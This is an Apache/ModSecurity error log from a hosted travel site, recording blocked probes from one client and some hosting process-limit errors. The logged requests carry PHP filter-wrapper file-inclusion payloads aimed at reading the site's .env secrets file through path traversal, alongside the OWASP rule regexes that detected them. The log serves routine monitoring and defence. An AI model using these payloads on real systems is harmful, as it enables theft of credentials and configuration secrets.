[Fri Jul 17 08:55:10.968816 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.969085 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglol9vhFBGA6D8l95vAAAAAw"]
[Fri Jul 17 08:55:10.969967 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:include: php://filter/zlib.deflate/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg7FYe46zHK_jL3PlgAAABk"]
[Fri Jul 17 08:55:10.971130 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg7FYe46zHK_jL3PlgAAABk"]
[Fri Jul 17 08:55:10.971275 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.971404 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8fAAAABA"]
[Fri Jul 17 08:55:10.971571 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglg7FYe46zHK_jL3PlgAAABk"]
[Fri Jul 17 08:55:10.971580 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.972331 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglkkXT4NBqALj2lZ8fAAAABA"]
[Fri Jul 17 08:55:10.976832 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&include=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&debug=0hVQVaX9TY6VKFDPAlvkq-6R8fKonZZa97iBPrpnZ1om2utVRVMWTqWwV3RzWUQ-sTVyYzgZwvOLr2mHgbav4REyZBDWb4QAK8GJ3rmBAdx3ylOR4uz8AY8pKR-9dtRIj_ebr2InL2Efv-ZHsGgGFlqDC__BtpgfONpaEg8KMVEDH3DyeJHZNN19hIQw8M-pnbJhYq84rK5ZyhFE8iUD2MP47wOgTd2faNzFpv3NybXo2tMTQx-4X0HyfKHbvizRERbGv_lPsyzmKKL0y1FUJVcN&ref=M3DX2CFJFAKZDSO75TYMA7ECJET564TS7RIPL74JD..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg5GPQ6hs4VrfMpBOQAAAAY"]
[Fri Jul 17 08:55:10.976893 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:include: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg5GPQ6hs4VrfMpBOQAAAAY"]
[Fri Jul 17 08:55:10.976987 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&include=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env&debug=0hVQVaX9TY6VKFDPAlvkq-6R8fKonZZa97iBPrpnZ1om2utVRVMWTqWwV3RzWUQ-sTVyYzgZwvOLr2mHgbav4REyZBDWb4QAK8GJ3rmBAdx3ylOR4uz8AY8pKR-9dtRIj_ebr2InL2Efv-ZHsGgGFlqDC__BtpgfONpaEg8KMVEDH3DyeJHZNN19hIQw8M-pnbJhYq84rK5ZyhFE8iUD2MP47wOgTd2faNzFpv3NybXo2tMTQx-4X0HyfKHbvizRERbGv_lPsyzmKKL0y1FUJVcN&ref=M3DX2CFJFAKZDSO75TYMA7ECJET564TS7RIPL74JDM5YU3STULWMMFH3QID74QQG43FBA..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg5GPQ6hs4VrfMpBOQAAAAY"]
[Fri Jul 17 08:55:10.977075 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&include=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env&debug=0hvqvax9ty6vkfdpalvkq-6r8fkonzza97ibprpnz1om2utvrvmwtqwwv3rzwuq-stvyyzgzwvolr2mhgbav4reyzbdwb4qak8gj3rmbadx3ylor4uz8ay8pkr-9dtrij_ebr2inl2efv-zhsgggflqdc__btpgfonpaeg8kmvedh3dyejhznn19hiqw8m-pnbjhyq84rk5zyhfe8iud2mp47wogtd2fanzfpv3nybxo2tmtqx-4x0hyfkhbvizrerbgv_lpsyzmkkl0y1fujvcn&ref=m3dx2cfjfakzdso75tyma7ecjet564ts7ripl74jdm5yu3stulwmmfh3qid74qqg43fba..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg5GPQ6hs4VrfMpBOQAAAAY"]
[Fri Jul 17 08:55:10.977133 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:include: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg5GPQ6hs4VrfMpBOQAAAAY"]
[Fri Jul 17 08:55:10.977185 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:include: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg5GPQ6hs4VrfMpBOQAAAAY"]
[Fri Jul 17 08:55:10.977713 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:include: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg5GPQ6hs4VrfMpBOQAAAAY"]
[Fri Jul 17 08:55:10.981105 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg5GPQ6hs4VrfMpBOQAAAAY"]
[Fri Jul 17 08:55:10.981306 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.981700 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglg5GPQ6hs4VrfMpBOQAAAAY"]
[Fri Jul 17 08:55:10.984135 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&include=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&token=JqhvEHnQ2-YXlOEtVpfAqLPXeJi3A_V5Mm2zcFfkFqkJCmrwh9JCaYWdktfcmKYp5yQrAgsUMLPHbQ2If3xQnmVk_MaDuqlVHFXxHXpBfCLH4lhOOfS2Pq6-Wev2lrM-Cl-nL06Sa9ScQiTU0gO7TIkoRu-ROI9_mRENZaqq7rJpE_n-ATBXMFx0_Bo2n8TS5pGKBG4uJ7keQgS9nzq-FQVbNcVlVeLpeSe42FD_GW3ER0HjW_DWdy3zUso4z-ty_h-IIx0S62juYCxSPU4XkV8c&extra=CPLRALIVW5SKZDCKQEYQYKVWEQVZ74DCNMX45TXHTRJK..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MKQAAAAc"]
[Fri Jul 17 08:55:10.984283 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:include: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MKQAAAAc"]
[Fri Jul 17 08:55:10.984438 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&include=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env&token=JqhvEHnQ2-YXlOEtVpfAqLPXeJi3A_V5Mm2zcFfkFqkJCmrwh9JCaYWdktfcmKYp5yQrAgsUMLPHbQ2If3xQnmVk_MaDuqlVHFXxHXpBfCLH4lhOOfS2Pq6-Wev2lrM-Cl-nL06Sa9ScQiTU0gO7TIkoRu-ROI9_mRENZaqq7rJpE_n-ATBXMFx0_Bo2n8TS5pGKBG4uJ7keQgS9nzq-FQVbNcVlVeLpeSe42FD_GW3ER0HjW_DWdy3zUso4z-ty_h-IIx0S62juYCxSPU4XkV8c&extra=CPLRALIVW5SKZDCKQEYQYKVWEQVZ74DCNMX45TXHTRJKHZBZM25M4DXUWVBGPPPOGZFASO..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MKQAAAAc"]
[Fri Jul 17 08:55:10.984584 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&include=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env&token=jqhvehnq2-yxloetvpfaqlpxeji3a_v5mm2zcffkfqkjcmrwh9jcaywdktfcmkyp5yqragsumlphbq2if3xqnmvk_maduqlvhfxxhxpbfclh4lhoofs2pq6-wev2lrm-cl-nl06sa9scqitu0go7tikoru-roi9_mrenzaqq7rjpe_n-atbxmfx0_bo2n8ts5pgkbg4uj7keqgs9nzq-fqvbncvlvelpese42fd_gw3er0hjw_dwdy3zuso4z-ty_h-iix0s62juycxspu4xkv8c&extra=cplralivw5skzdckqeyqykvweqvz74dcnmx45txhtrjkhzbzm25m4dxuwvbgpppogzfaso..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MKQAAAAc"]
[Fri Jul 17 08:55:10.984717 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:include: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MKQAAAAc"]
[Fri Jul 17 08:55:10.984892 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:include: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MKQAAAAc"]
[Fri Jul 17 08:55:10.985520 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:include: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MKQAAAAc"]
[Fri Jul 17 08:55:10.991190 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&include=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&token=U5PBujGRH6s_wwuWaJhv8IRMvAvtCxCd0LXAC83YIojM114Y1DviotQxQyVoeJwggnBBMGnS3GF8AI68qJAYf6o1e_RC4qxpA_VcAehv4aezhUcBuaS6tifnxVW1C8aq1MZQ6Tqgknlq-IPsAYJAtOeEgFjIIP95F5VU2Cn2YL7wdPWsT9g7sHeTE2VxNugl65ZlSI-dspwB-HJKyEmGysH-YjDL11ej8XAtWOLZz0isDt4BJNRBr3oz81DtT2T5GYklQlu-mEQD28urOQbK31bU&junk=2NUQNTZVAZN44KMQQREQNMFJZCLQEVLGRDMF2PDZFEV7JDYF75QOASWJLRNR5C..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSZgAAAB4"]
[Fri Jul 17 08:55:10.991217 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:config: php://filter/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloZvbo7N5o5zeYC-KAAAABw"]
[Fri Jul 17 08:55:10.991240 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:include: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSZgAAAB4"]
